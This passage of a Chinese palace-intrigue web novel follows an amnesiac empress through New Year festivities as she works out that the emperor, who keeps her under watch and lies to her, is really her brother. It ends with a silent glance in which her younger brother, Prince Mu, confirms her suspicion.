“昨夜是朕不好,宫娥们说你昨晚没睡好,今日晨起时还哭了,是朕让媜媜伤心了。”
媜珠故意怯怯地看了他一眼:“妾无德失言,陛下不怪罪妾惹了陛下生气就好了……”
皇帝对她怜惜愧疚之意更甚,握着她手的手掌紧了紧:“媜媜没有惹朕生气,你什么都没做错,是朕的错。”
及开宴,有宫娥躬身在天子面前奉上一盘刚刚煮熟捞起的饺饵,一共一十二只,合一年十二月之数。
这是北地冀州周家从前过除夕的旧俗,因为三四代人都没变过,后来也就这么传下来了。
从前在冀州周家,每岁除夕开宴时,这盘饺饵都是被端到周家家主跟前的,有时家主膝下子嗣兴盛,就把这些饺饵赏赐给儿女分食,总有一只饺饵的肉馅里被塞了枚铜钱,哪个孩子吃到了,这一年就是最有福的孩子,也被视为家中福星。
若是家主正年轻新婚,膝下尚无子嗣,便同新婚妻子共分食之,周遭侍奉的婢子们同贺家主与主母早得贵子,开枝散叶。
媜珠没有生养过,但总归听说过冀州周家传下来的旧俗,这会儿看到这盘饺饵不免感到压力极大,总觉得人人都在盯着她的肚子催她生一样。
她抿了抿唇,起身欲侍奉皇帝食饺饵,皇帝却将那碟子朝她面前推了推,叫她先吃。
她遵从皇帝的意思,夹起一枚饺饵送进口中,还不待细嚼两下,忽然被一枚坚硬的铜钱磕了下牙齿,赶忙用绢帕掩着唇,有些狼狈地把那崭新的铜钱吐了出来。
那是一枚很新很新的“龙章通宝”,是皇帝登基立国以来,今年夏日里长安府铸钱司刚铸出来的钱币。
在媜珠错愕不解的眼神中,皇帝再度握住了她的手,和她十指相扣。
“这枚钱币,乃我大魏一朝立国以来所铸的第一枚钱,既被媜媜吃到了,那媜媜便是最有福气的人,朕将它赠与你做压岁钱可好?”
媜珠愣愣地望着他,心莫名鼓动了起来:“……从前,家里面有小孩子的时候……才会在饺饵里放铜钱的。陛下,陛下……”
皇帝的声音格外温柔:“你瞧你今日早上,过除夕还掉眼泪,和小孩子有什么分别?自然得照养小孩子的样子哄你开心。”
*
下头的人听不到高台之上帝后二人在说些什么,可坐在一旁听了他们满耳朵“小孩子”“小孩子”的赵太后却头都大了。
她也想要小孩子,可她想要的是实实在在能抱在自己怀里的亲孙子,是可以被封为太子、来日让她成为太皇太后的亲孙子,而不是看见自己长那么大的女儿还被男人当孩子一样哄着玩的。
着实是闹她的心。
第29章
大部分时候,只要周奉疆捧着她、护着她,其实媜珠并未受过什么罪、生过什么气,婚后她的每一日都过得十分平静安然。
这有个前提,那是因为她的“婆婆”也没有在她面前摆过什么婆婆的谱,没有隔三差五把她叫过去站规矩之类的磋磨她的性子。
赵太后一直以来对她这个儿媳都是极好的。
过去几年里,媜珠虽然嫁给了周奉疆,但他常年征战在外,只留媜珠在冀州家里伺候婆婆、主持家事。
那段时间里,赵太后对她这个初为人妇的儿媳格外宽容,不仅免去她的晨昏定省,让她整日在家里想几时醒就几时醒,而且也甚少把她叫到她跟前伺候她吃饭洗脸云云。
不过今年除夕,赵太后似乎心情有些不快,脸色也不大安宁。
中午的宫宴毕,晚间又有家宴,诸王、王妃与公主、驸马们于家宴上向皇太后祝寿贺岁。
有几个小孩子被领上前来给赵太后磕了头,口中唤着“祖母”“外祖母”的,直叫得赵太后又一阵头疼心烦,吵得她脸色不虞。
——毕竟和自己压根没有半分血亲,说到底是她丈夫周鼎和别的女人的孙儿外孙,她能摆出什么好脸色来。
若是媜珠宫里养的那只金丝猫灿娘子跳到她怀里,她倒还能给个笑脸儿摸一摸那猫。
赵太后本就应媜珠没有生养而失望,这会儿再见到这些蹦蹦跳跳的孩子,心里火气更大,再想到她丈夫和妾室们生的庶子庶女们成婚后都生下了一堆孙辈,独她的女儿还不能生,真是越想越不得意。
太乐署的署令上前请皇太后赏乐,赵太后按照惯例点了一曲《尧天舜日》,是一曲贺四海升平的吉乐。
未等曲毕,她便沉着一张脸起身离席,说是累乏了,没什么意思,要回宫歇下。
媜珠连忙起身:“母亲!除夕乃是要守岁祈福的日子……”
她想说,若是赵太后累了,那她身为儿妇,自然要去跟着侍奉她的。
但还不等媜珠说完,赵太后就打断了她:“罢罢罢,我一个老婆子,还要凑什么热闹守岁,早歇下便是。那是人家家里子孙兴旺热闹的,一堆小孩子陪着闹着,儿孙满堂,做长辈的才有守岁的兴致,否则如我一般的人,谁不想早点歇息了。”
说罢她便在福蓉的搀扶下头也不回地离去了。
媜珠尴尬得愣在原地,好半晌都说不出话来,既是尴尬又是委屈,尤其是在这些宗亲皇戚们面前,赵太后直截了当地把她没有子嗣的事拿出来说,她面皮又薄,如何受得了这样对待。
不止是皇后尴尬,赵太后除夕里乱发这样的脾气,叫穆王和颍川公主他们面上也很没光彩。
按理来说,哪怕皇后没生,可是穆王和颍川公主他们的孩子,那都是赵太后的“亲孙子”“亲外孙”,都要叫她一声祖母外祖母的,人家才给她磕过头拜过岁,她就冷言冷语地暗指自己膝下没有孙辈陪伴,没把这些孩子放在眼里,岂不是活生生在打这些王爷公主们的脸。
尤其是太后说这话的时候,穆王的长子还刚跑过去给太后背了首贺岁诗讨她欢心。
皇后受委屈了,有皇帝立马过去安抚哄慰;但王爷公主们心里有气,一时便不知往何处去发,只能再往肚子里咽。
这场家宴遂在这样略显尴尬的氛围里寥寥散场,皇帝一路上握着媜珠的手,带着媜珠回到椒房殿内更衣梳洗歇下。
直到宫人们全都退下了,媜珠这才伏在他怀里哽咽起来:
“陛下!并非妾不愿为陛下生儿育女,太医署的医者们都说妾的身子康健无事,为什么妾就是一直没有身孕?”
她的脸皮是真的薄,又兼心思细腻柔软,谁对她说了一句重话都能让她暗自难过许久无法忘怀。
而子嗣一事,又刚好是她最不能提的另一桩心事。
周奉疆太了解她了。
他知道,一直以来,她都在努力地迎合着旁人对她的期待,总会下意识地把自己塑造成旁人想要的样子。
从小开始,她就有这样善良无害的性情,是她父亲期待的乖顺的女儿,是家中其他兄弟姐妹们所期待的好姐姐、好妹妹。
现在做了皇后,她同样也在努力迎合着天下臣民的期待,想要做一个旁人眼中合格的贤后。
别人说她应该替皇帝生育,她就常常为自己没有做到此事而感到愧疚不安。
周奉疆在心底叹息,媜珠啊,可是你又为什么总要在意别人的看法呢?为什么总要去满足别人对你的期待?
你只需要在意我一个人就行了,只要我们在一起,只要我们是相爱的,我会永远把你保护得很好,你想要做什么、过什么样的生活都可以,何必去在意那些无关紧要的人?
他亲了亲媜珠柔顺的发丝:“媜媜,咱们还年轻,三年五年有没有孩子有什么要紧,朕还舍不得让你早早就生育。有了孩子,便有一堆养育子女的烦心事,倒不如如今叫咱们清净几年。”
媜珠仍是抽泣:“那三年五年过去了呢?待妾已至人老珠黄之年,若是还不曾生养,妾又该如何?又有何面目再忝居中宫之位?”
“媜媜!”
周奉疆的语气放重了些,又唤了声她的名字,“不许说这样的话!”
“你是朕的妻子,是朕心爱之人,只要朕做一日的天子,你便是朕唯一的女人,唯一的皇后。不论是赵太后还是谁对你说什么,你都不必理会。”
媜珠倒是没有继续掉眼泪了,可神情还是有些闷闷不乐:“朝臣们就不会议论妾么?妾独专圣宠,却不能替陛下——”
“谁敢议论你半句,朕便砍了他们的脑袋挂在长安城楼上示众。”
“陛下!”
媜珠被他吓了一跳,“陛下不能……妾无德便罢了,如何能让妾连累陛下的声名……”
“朕可不是那些无能的亡国之君。朕要护着自己心爱的女人,更不必看任何人的脸色。只要有朕在,你生不生育、贤不贤良、有德无德,都无人敢撼动你的皇后之位半分。”
媜珠这会儿倒没有再多伤心什么了,她在他怀中仰首看着他:
“可是陛下,妾何德何能教陛下如此厚爱?陛下爱妾愈深,妾心中便愈是惶恐。”
这个问题的确是媜珠一直以来心中的疑问。
她知道自己根本没那么爱皇帝,但她也不得不承认皇帝对她确实是宠爱之至。
很多时候,连她自己都不能理解他为什么那么爱她。
不仅给了她几乎全天下女人都要羡慕的荣华,捧她坐上尊贵的皇后宝座,甚至除了她之外,他从来都没有过别的女人。
——对于这个时代的一个男人,尤其是一个位高权重无所不有的男人来说,实在是罕见的。
他已经爱她爱到心里眼里都没有再多半分的地方去放下别的女人了吗?
从前他在外面打仗的时候,媜珠就知道有很多人给他送过各种各样的女人。
偶尔他从外头回来,她也会平静地问他是否有带回家中的姬妾,是否需要她为他的姬妾们安排屋舍、奴仆过去伺候等等。
哪怕真的有,媜珠好像也没觉得有什么大不了的。这个世道的男人不都是这样的,何况是他呢。
然而周奉疆每次都无比认真地告诉他说,那些别人送来的女人,他看也没看一眼就叫她们哪来的回哪去,除了她之外,他从不想要别的任何女人。
可是这到底是为什么呢?她到底有什么值得他这样迷恋的地方?
“又说什么傻话?”
皇帝一手托着媜珠的后腰,将媜珠的身子扶起来了些,俯首亲了亲她的唇,“朕不爱你,还能爱谁?咱们青梅竹马相识了这么多年,过去一起经历过多少事情……点点滴滴,都只有你陪在朕身边。朕此生挚爱也只有你。”
媜珠叹息:“可过去的事妾都不记得了。”
也许她从前真的是个很好很好的恋人,所以才能被男人视作心头的一片白月光,娶到手里宠了这么多年,过了这么多年无忧无虑的好日子。
皇帝问她:“那现在呢?现在你可有像朕爱你一般爱着朕?你失忆之前的事忘也就忘了罢,这五六年的光阴里,咱们在一起相守的年岁呢?可有多爱上朕几分?”
媜珠勉强挤出几分笑意,素手在皇帝胸膛前轻推了一把,语气像是埋怨撒娇:
“陛下还好意思说呢,妾嫁与您这五六年的时日里,咱们相守的时光还不足半数,陛下过去常年征战在外,有时一年在冀州家里还不到三四个月,只留妾一人独守空闺,您叫妾怎么爱您?”
皇帝眯了眯眼睛:“真的?媜媜记得这么清楚?”
话题大约是从“生不生孩子”转移到了“翻旧账”这上面,媜珠既说起此处,便也认真掰起了手指回忆:
“妾记得那年妾是春日的三月十二和陛下完婚,陛下婚后不到三个月就去了徐州伐徐州节度使章疗,待陛下回冀州时已是第二年夏末。您算算您走了多长时间?”
皇帝颔首向她致歉:“是朕之错。”
媜珠又说:“您那年说会留在家里多陪妾几个月,结果……结果那年六月、七月……八月,那年您、您——”
不知是想起了那年的什么事情,媜珠头颅中又一片空白,好像那一年中许久许久的记忆在她脑海里也被瞬间抽走了。
皇帝立马接过了话茬:“那年朕在家里陪媜媜过完了年,是正月年后才走的,媜媜这次可不能怨朕。”
话刚说完,他转头在寝殿里找起了他和媜珠一起养的那只波斯猫:“灿娘,灿娘呢?过来,今日朕允你上榻上来。”
听到皇帝唤它,灿娘子从房梁上跳了下来,扛着它蓬松柔软的大尾巴蹦蹦跳跳地上了帝后二人的床榻上。
灿娘子从前就喜欢爬到榻上玩,但它太容易掉毛了,周奉疆不惯着它的“邋遢”,不许它上榻,灿娘子多少畏惧他,于是也就不敢放肆。
今日难得是皇恩浩荡,允它放肆一回,灿娘子高兴得不得了,拉长了柔软的猫身在丝被上打起了滚。
媜珠的思绪也立马被它牵走,从周奉疆怀里起了身,半跪在榻上与灿娘子一道玩了起来。
皇帝满目柔情地注视着媜珠:“你陪它玩会儿吧,今年咱们一起守岁祈福。”
媜珠状作神情专注地逗着猫儿,全然不敢回头看皇帝一眼,唯恐皇帝在她的眼神里看出什么异常来。
*
她刚刚想起了一件事情。而且她觉得,皇帝大概也想起了那件事。
在她和皇帝成婚后的第二年夏天,她几乎丢失了一整个夏天的记忆。
从那年夏天五月末开始,直到七八月间,她恍然意识到自己的记忆都是一片空白,完全记不得那两三个月里发生过什么。
可是怎么会这样呢?
那两三个月里,到底又发生了一些什么?
方才她想到这一段,在努力地回想那一年的记忆时,皇帝显然就看出了些什么,一下就打断了她,没有让她继续深思下去。
连皇帝也觉得,那是一段不该被她想起的记忆吗?
可是究竟在什么情况下,一个人会无缘无故地消失掉两三个月的记忆呢?
而且,媜珠忽然又联想到了另一件事。
她开始失忆的那段时间,恰巧也是皇帝的妹妹兖国公主去世的时间。
——换句话说,正好从她受伤失忆之后,世上再无兖国公主此人了。
皇帝说,他和她之间的婚事,曾经遭到过她兄长的阻挠。
而皇帝自己身为兄长,也曾阻挠过兖国公主和河间王的婚事。
她梦里的兄长,曾经在她已经出嫁之后又带人把她抓回家中;
而当年兖国公主已经换上了嫁衣准备跟着河间王嫁去洛阳了,结果又被皇帝带着人抓回了冀州家中。
她看皇帝的样子,明明皇帝是很爱惜、在乎自己的这个妹妹的,但是他似乎又从未因兖国公主的死而伤心过。
还有在她最近断断续续所恢复的记忆里,当年那个她要嫁的男人,一直都说要带她嫁去洛阳,她最后也是在嫁去洛阳的路上被人拦了下来,软禁了起来。
她最近一直都怀疑自己压根不是赵家的女儿,不是襄国夫人的亲生女儿,她怀疑自己也许本来根本就不姓赵。
然而她的这张脸单挑出来看看,和她的“姑母”兼婆母赵太后又是有几分相似的。
侄女儿像姑母当然没什么问题,但如果这样的话,那她不就又成了赵氏女么?
可如果她是赵氏女,又该怎么解释她记忆里有个男人说过她父亲已经死了的事实呢?
这一切真的都只是巧合么?
除夕的子夜时分很快过去,媜珠隐约听到了宫墙外面传来了热闹的喧嚣爆竹之声,皇帝挥手打发灿娘子跳下了床,他欲拥着媜珠歇下:
“新年了,媜媜,咱们在一起又度过了一年。”
媜珠温柔地回他:“妾愿年年岁岁皆与陛下相守,年年有今日,岁岁有今朝。”
“咱们睡下吧。”
这夜,媜珠靠在他怀里,脑海中莫名其妙地冒出了一个令她自己都感到惊悚的想法。
——她会不会就是皇帝和太后从来提也不愿多提的那个兖国公主?
会不会兖国公主从来都没有死,只是换了一种身份活在了这世上?
但这个念头实在太过令人骨颤肉惊,连媜珠自己都忍不住在他怀里发抖了几下。
皇帝以为她太累了,睡得不安稳,哄孩子一样轻轻拍了拍她的背,哄着她安静地睡下。
第30章
以媜珠目前所能接触到的世界来说,在她的世界里,对于她的身世,她能给出的合理的解释只有这一种。
——她似乎只可能是皇帝的妹妹兖国公主,只有这样,一切的疑问才能得到解答。
当怀疑的种子已经种下时,人的心里似乎就已经住下了一只鬼,千方百计地鼓动着你相信你揣测和怀疑的那个结果。
媜珠细细回想起失忆的这些年来她所经历的一切,哪怕是生活中每个细枝末节之处,都在支撑着她的猜测。
又比如说,当年她和皇帝刚新婚时,周三娘子兖国公主才刚“去世”不多久,皇帝没有为这个妹妹伤心也就罢了,就连周三娘子的亲生母亲赵夫人也没有流露出任何伤心的神情。
别说什么伤心难过的脸色了,她身上连半分失去至亲的消瘦痕迹也没有。
不论是后来三娘子的生辰还是“祭日”,赵夫人好像都无动于衷,完全看不出任何的丧女之痛。
甚至有一年三娘子的“祭日”里,媜珠那天还曾瞥见赵夫人和婢子福蓉她们有说有笑的谈论着什么笑话。
对于一个失去唯一女儿的母亲来说,这可能么?合理么?
再联想到赵夫人对自己这个“儿媳”的疼爱和照顾,联想到自己的相貌和赵夫人的那几分相似之处……
媜珠心鼓如雷,再也睡不着了。
如果她真的是周三娘子……如果她真的原来是皇帝的妹妹……
媜珠枕在身旁男人健壮的胸膛上,忽然之间想要不顾一切地逃离。
她接受不了。哪怕这个男人对她再宠爱再呵护,她也接受不了。
她想离开,想要离开这个禁锢着她、看管着她的金丝笼,想要离开长安,想要见一见那个自己本来该嫁的男人,看看自己本来应该过着怎么样的人生。
她不是他的掌中雀,也许她本来有自己的人生。
*
龙章二年的正月初一,媜珠很早便来到赵太后的承圣殿里给太后请安。
她是来的最早的人,彼时太后宫里还没有旁的外人在,而皇帝也先去了前朝,没有陪着媜珠一起过来。
媜珠被人精心梳妆打扮过,华服凤冠,满身珠翠,本是贵不可及的模样,然而神色却显得有些憔悴,似乎是昨夜没有睡好。
赵太后见了她这样子,到底是自己的亲生女儿,自己身上掉下来的一块肉,说不心疼是假的。
她昨日的确当众给了女儿难堪,可那并不是她的本意啊。
她也只是作势给皇帝看,让皇帝早日和媜珠生子,立了太子,定了国本,既是为了皇帝自己的江山稳固,也是为了她和媜珠母女两人好。
赵太后带媜珠进了她的寝殿内殿说话,媜珠在她脚边跪下磕了头,赵太后心疼地托起媜珠的脸颊,抚了抚她眼尾的一点泪痕:
“皇后啊,你素知我平日的脾气,有时我说话虽不中听了些,可也是为了你好,你可莫怨母亲……”
媜珠摇了摇头:“母亲!妾怎会怨母亲呢?母亲身为人母,字字句句的教训也是为了儿女们好的。何况妾的确失职,这些年来没能给母亲生下亲生的孙儿……母亲教训妾,教训的是。”
——亲生的孙儿。她在这话头里留了个玄机,赵太后没有听出来,更没有辩驳什么。
媜珠跪在地上,膝行着朝赵太后跟前凑了凑,贴她贴得很近,同她窃窃低语道:
“妾明白母亲心中不痛快,穆王、颍川公主他们这些王爷公主们,到底不是母亲亲生的,虽说给母亲生了孙儿外孙,终究隔了层血亲,人家也有自己的祖母外祖母要认,总归不是那么一回事。如今母亲只有指望着妾,妾的肚皮也该争气些,给母亲生下亲孙儿孙女们,叫母亲心里高兴些。”
赵太后听到媜珠难得开窍了点,一时没有反应过来,反而很高兴地连连点头,拍了拍媜珠的手:
“媜媜啊,你这话说的很是,母亲的心事不就是这个么!到底人家不是我亲生的,别说是穆王、颍川公主他们了,就是皇帝和我也隔了层肚皮,我能指望谁?我这辈子不就只有指望你了,只有你生的,才是我的血脉……”
其实赵太后昨天晚上也没睡好,今日初一,她又起了个大早,这会儿脑袋也还有些昏沉,竟然不知不觉间就进了媜珠的套了。
直到这时候,赵太后才猛然意识到一旁的福蓉和佩芝都在拼命地低声咳嗽,给她使了好几个眼色。
而她这嘴上又没个把门,只差没直接对着媜珠把那句“你是我生的”给说出来了。
赵太后手心顿时就一片冰冷,再看向媜珠,却发现媜珠面色如故,没有半点异样。
她又松了口气,想着自己这个蠢女儿果然还是蠢得可以,话都暗示到这个份上了,她也没听出来什么。
于是赵太后松开了媜珠的手,声音又冷了点:“我当年为何抬举你做了陛下正妻,还不是因为你是我的亲侄女,你也姓赵,和我同流着一个祖宗的血?我亲生的三娘子没了,这周家庶子庶女养子们跟我也都是外人,我只能还靠着你这个侄女。可你也不能仗着我疼你便恃宠生娇起来,整个赵家里,我不止你一个侄女。你不能生,早晚还有别人替你生。”
这话似乎是在为她刚才说漏嘴的言辞打了个大大的补丁。
媜珠好像真的什么都没有听出来,遂也诚惶诚恐地再给她磕了个头:“姑母!姑母疼我,我一定不会叫姑母失望的。”
赵太后倦乏了:“你下去吧。”
媜珠乖巧地应了声,起身行礼后便退下了。
而媜珠的每一个动作,都落在了佩芝眼中细细观察着。
还好,媜珠演戏的能力还不错,连佩芝都没看出什么不对的地方来。
不过,佩芝还是寻了个空隙的机会,叫人将此事告诉了皇帝。
皇帝虽然恼赵太后这张嘴什么都往外说,但既然媜珠都没听出来什么,他也就没什么反应。
毕竟赵太后是长辈,他就算恼,不到一定程度了,他也不能对她做什么。
*
所有人都以为一切仍然相安无事,只有媜珠自己知道,她的内心第一次崩塌了。
到这个时候,就算她是个再蠢再愚钝的人,当她将一切联系在一起时,她也该隐约摸到隐藏在迷雾中的那些真相了。
哪怕她现在还不知道过去到底发生了些什么、哪怕她还没有拾起从前丢失的记忆,但是此刻的她无比确信,她就是赵太后的亲生女儿,先帝周鼎的第三女,兖国文公主本人。
这些年来,原来她的亲生母亲一直都处在她的眼面前,几乎和她生活在同一个屋檐之下,可是却连母亲也不敢和她母女相认,反而跟着旁人一起蒙骗她。
她思来想去,无法怨恨自己的母亲,母亲这样做,一定还是被人胁迫的。
至于那个幕后主使,不用说,自然是和她夜夜同床共枕之人,
——皇帝周奉疆。
新年里的正月初一,本该是何等欢庆热闹的节令,媜珠的心却冷得更甚长安城里纷纷落下的茫茫大雪,冰冻成了一片。
她垂首望着自己身上所着的华丽奢靡至极的皇后翟衣,轻轻触摸装饰在上面的珍珠、金玉、刺绣,却没有触摸到半分的温情,没觉得此刻的自己身为皇后有半分尊贵之处。
她只觉得自己活得无比可笑。
起先,至少只是在她发现自己不是赵氏女时,媜珠虽然明白皇帝在蒙骗她,但她对这个男人还抱有过幻想。
她以为,倘若自己不是赵氏女,那么她从前的身份也许十分低贱,皇帝是为了给她改头换面、给她更高贵的出身,所以才骗她说她是赵氏女,是赵太后的亲侄女。他骗她只是为了让她开心。
如果仅仅是这样的话,那她还是愿意继续试着爱这个男人,试着和他继续把日子过下去的。
但现在不一样了,现在她发现她是他从前的妹妹。
她无法再将他视为兄长,更无法把他当做丈夫。
她甚至觉得有点恶心,恶心得她腹中翻江倒海不是个滋味。
皇帝根本就不爱她。当然,身为兄长,他本来也没有资格以丈夫的身份来爱她。
也许她对于他来说,只是他掌心里一个尚且还算喜爱的玩物而已。
他根本没拿她当妻子。
哪有男人会将自己心爱的妻子这样玩弄于股掌之中的?
大概除了她自己不知道她是周三娘子之外,她身边的所有人皆清楚她的底细。
赵太后肯定知道,还有宫里的那些奴仆婢子们,福蓉知道,佩芝知道,皇帝身边的内监倪常善也知道,倪常善的干儿子倪赐清也知道……
除却宫里的这些人外,宫外的穆王和穆王妃他们,颍川公主他们……
他们难道不懂吗?
难怪这些人面对自己的时候小心翼翼、唯恐说错了半个字,原来只是怕在她跟前露馅之后会遭到皇帝的报复罢了!
——在他们所有人眼里,恐怕私下都觉得她这个皇后就是个笑话吧。不过是个被皇帝捏在手心里的玩物,可怜可悲,还自以为自己天生命好,位至中宫,得天子恩宠深厚呢。
难怪去年皇帝只是疑心穆王妃在她面前提起过兖国公主,第二天上午就把穆王和穆王妃二人叫到了宣室殿内斥责发落。
所有人都知道她是谁,只有她自己不知道。
现在想想,哪怕这个男人再会隐瞒,哪怕这个男人有再重的威压权势逼着旁人都和他一块演戏,可是谎言终究是谎言,假的终究是假的。
他撒了一个谎,就要用无数个谎来圆。
他给她编织的这个充满谎言的世界里漏洞百出,她从前未必没有看出来,只是他也刻意想要用金玉琳琅来把她这只金丝雀养废,让她没有半分反抗的力气;而她也沉浸在这看起来锦绣云堆、花团锦簇的奢靡生活里,懒得去细思他一次次露出来的破绽。
他从前很少愿意和她讲他们之前的故事,有时媜珠对他撒娇,想要让他细细讲讲他们是如何相识、相知、相恋的,但他总是反常得表现得十分敷衍,不愿意多说。
媜珠每次问起,他就说怕过去的记忆刺激到她,不想让她想太多。
后来,去年那一次,他怀疑穆王妃在她面前提起“兖国公主”,怕她因此而想到过去的事情,所以大发雷霆,对着穆王和穆王妃极尽问责之态,难道不也是因为他心里有鬼么?
如果按照他所说的,他们从前是一对恩爱的恋人,他们之间有着无数甜蜜的回忆,那他应该迫切地想让她回想起来、恢复记忆才是!
除非,他们之前的回忆太过难堪,他心知肚明,只要让她想起来了,他们便再也无法维持现在这种表面的平静……
所以他才对她严防死守,百般监视。所以他才不愿意她想起来。
媜珠猛地倒吸了一口凉气,只觉得喉间传来一阵血腥的气息,腹内翻搅得厉害,心脏肺腑的每一寸都在抽痛。
然而她不能表现出来。
一道珠帘之外,佩芝和几个宫娥都守着伺候着她,她们都在监视她的一举一动。
她不能让她们发觉她的异样。
只要她们发现了,皇帝也会随之知晓,他素来残忍暴虐,媜珠并不是没听过他的这些名声,继而他定会责罚她身边所有和她相关的人,届时谁都免不了一难。
媜珠一手撑着身旁茶几的一角,努力撑起了自己的身子。
佩芝躬身进来给她奉了盏茶:“娘娘,今日新年,穆王、穆王妃携小世子和小县主入宫给您请安了。”
媜珠深深呼出一口气,侧首向外看去,将眸中泪光憋了下去:
“让穆王进来,我要见他。”
那应该是她的亲弟弟啊。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
30-40
第31章
对于这个所谓的三姐姐,如今的嫂嫂“赵皇后”,本来,穆王周奉弘是不想再多沾她的边的。
这女人从来都是个丧门星,专克周家人,但凡和她沾边就准没好事。
他永远忘不了从前的十五郎是怎么死的。
——在当年周媜珠嫁给周奉疆后,十五郎不过是见不得她仗着失忆之名便和那男人厮混在一起,借机到她跟前告诉了她真相而已。结果就因为她要死要活地病了一场,十五郎便因此被周奉疆那逆贼活活打死。
十五郎还只是个十来岁的少年啊!
如果不是因为有周媜珠那样一个只会做媚态曲意逢迎、委身贼人的所谓嫡姐,十五郎如何会落得如此结局?
可怜十五郎死也是白死了一场,在他死后没多久,周媜珠就将他说过的话忘了个一干二净,又是一副什么都不知道的懵懂姿态,继续待在仇人身侧承欢迎合,尽态极妍地卖弄她的乖巧柔顺去取悦那男人。
十五郎被打死的时候,周奉疆还将他们都召了过来,是在他们面前亲手处置了十五郎,训诫他们说,以后谁还敢在他夫人面前胡言乱语,下场皆如此。
亲眼见到十五郎的死状后,他回去便大病了一场,发着高热说了数日的糊话,险些连他自己也没有挺过来。
从那之后,为了“避嫌”,以示自己绝无异心,穆王都躲着这个“嫂嫂”周媜珠了。
待到周奉疆登基称帝,除却每隔一段时间必要的入宫向皇后请安之外,穆王都不让穆王妃多进宫。
而他自己呢,如果不是碰上新年、端午、中秋这样的节令,更不想再凑到宫里去多看周媜珠一眼了。
今日初一入宫,穆王本也打算只在这位“赵皇后”跟前表面意思一下,给她磕个头行个礼,说两句场面话就退下。
但令他稍感到些疑惑的是,今日的周媜珠似乎对他们穆王一家格外热情周到了些,还主动寻了个话头拉着他们闲聊,一一问起他们府里的孩子是如何教养的、孩子们平时怎么玩、怎么吃饭之类的琐事。
仿佛她只是个真心疼爱侄儿侄女们的好伯母罢了。
不过,隐约能感受到椒房殿内佩芝她们这些宫人似有似无地投射在自己身上的监视的视线,穆王有些如坐针毡,脑海中不停地思索着该如何开口起身告辞。
他是真的多一刻都不想在周媜珠面前多待。
媜珠用手指拨了拨穆王妃女儿头顶柔软的胎发,就在这时,像是忽然想起来了什么似的,抬头看向佩芝说道:
“我记得去岁秋日里新罗使臣们不是进了些颜色很娇嫩的鱼牙绸么,佩芝,你带人去取些来,赏给咱们小县主春日里裁几身新衣,那嫩生生的衣裳,也就是小孩子穿才好看。还有大食国使者进的一盒波斯绿松石,也取来,穆王妃喜青绿之色,镶在首饰上是很漂亮的。”
穆王妃连忙起身推辞了番,媜珠叫她收下:“王妃平日将本宫的小侄女儿照看得这样好,必是十分辛苦,这寥寥一点心意,如何收不得?”
佩芝应下:“婢这就打发人去库房里——”
“你亲自带人去拿来,快些。”
媜珠低头陪那小女婴玩,头也不抬地打断了她,
“我的东西平日都是你收着的,年关里库房中东西多,想必乱糟糟的,宫人们去寻也费时,你亲自去取来吧。否则许久找不到,我们小县主是不是生气了?是不是觉得伯母不是真心赏你?”
她说着说着又逗起怀里的小县主,那女婴被她逗得娇笑起来,一派天真无邪,穆王和穆王妃也跟着附和似的笑了两声。
佩芝不敢再和她分辩,见她还是有说有笑的样子,想着自己只离开这一时半会儿,也不能出什么差错,只得赶忙带着几个宫娥去皇后库房里翻找起她说的东西来。
佩芝走后,椒房殿内离得媜珠和穆王一家子稍远些的地方,虽然还是有七八个垂首的小宫娥侍奉在侧的,只不过她们只是低着头等主子有事时使唤两下,并不敢像佩芝那样细细观察着皇后、穆王等人的一举一动。
她们能清清楚楚监听到皇后与穆王等人所说的每一句话,却不能看清媜珠的神情。
就是在这个时候,媜珠侧首望向了坐在一旁的穆王周奉弘。
在接触到媜珠流露出来的那眼神的一刻,穆王下意识地挺直了脊背,整个人都僵硬住了。
那是一种怎样的眼神呢?
可怜的,无辜的,困惑而哀怨,又是那样小心翼翼,柔弱不堪,仿佛害怕被人发现她的秘密,只敢将这样的眼神暂时流转在她勉强所信任的人身上。
他想起了年少时饲养过的一只雀莺。
一只尚未成年的、娇小的雀莺,是有人从野外捉来赠给他养着玩的。
他将那只雀莺养在笼子里,悬于屋檐下,当做玩物一般把玩,用鸟食和水控制着那只雀莺的一生。
起先,那只雀莺刚从它母亲身边被抓着关起来,它很不适应,经常在笼子里疯了一般地到处乱啄。
于是他就断了给它的食与水,将它饿上几天,再赏赐着给它一些饮食。
如是几次之后,那只雀莺就温顺了下来,会乖乖地待在他的掌心,为他歌唱,与他玩耍。
他以为它真的忘记了过去和自己母亲在林间相伴的日子,开始认他为主人了。
直到有一日夜间,他那夜睡意浅淡,起身在庭院中漫步散心时,忽然瞥见檐下笼中的那只雀莺隔着笼子不知在和谁轻轻鸣叫。
那叫声十分压抑,却又凄婉可怜,叫他心头都一阵怜悯,时隔多年亦无法忘记。
等他悄悄靠近过去,发现竟然是那雀莺的母亲从林间寻了过来,趁着夜色偷偷来看望自己被关在笼中的孩子。
母女相见,格外凄凉。
母鸟悲鸣,幼鸟哀啼。
他一时看痴了,不知不觉靠了过去,那母鸟发现有生人靠近,惊弓之鸟般一下飞走了。
虽是飞走,但它仍然没有飞远,徘徊着站在屋檐上死死盯着自己的孩子。
而那幼鸟看见了他过来,虽然才刚见过自己的母亲,但是它丝毫没有挣扎与反抗的欲望,反而用一种如人一般复杂的眼神凝望着他。
他读懂了这鸟儿的心情。
它幽怨,它害怕,它敢怒不敢言,它想要自由,想要离开,想要和自己的母亲离开。
但是它又惧怕他,怕他责怪它偷偷和母亲相会,甚至还怕他把它的母亲也抓回来关着。
——现在他完全想起来了,此刻的周媜珠看着他的眼神,就和当年那只雀莺一样。
那只雀莺虽然被人关着,但它实际上什么都懂,什么都明白,只是无法反抗而已。
周媜珠现在也用同样的眼神望向了他。
难道她也明白过来了什么吗?
穆王的心脏剧烈跳动了起来,让他一时呼吸都感到了有些急促。
至少昨日除夕宫宴时,周媜珠还没有表现出这样的反常。
仅仅一夜过去,是她突然发现了什么、察觉了什么,所以有所顿悟了么?
回应媜珠的,是穆王几不可察的一次轻微的点头。
然后他就慌乱地别过了头去,不敢再看她了。
很多时候,人与人之间各种情愫的传递,并不需要太多的修饰词藻。
最简单的情况下,一个眼神便足矣。
她用那样悲伤如笼中困兽般的眼神望向了自己的亲弟弟,而弟弟也瞬间心领神会,承认了她的揣测。
媜珠的心已然死得不能再死。
正在这时,佩芝领着宫人带着媜珠要赏给穆王府的东西回来了。
好歹常伴君侧,媜珠也练出了能瞬间变脸的本事,只是眨眼睛的功夫,她就恢复如常,和穆王夫妇仍是有说有笑的样子。
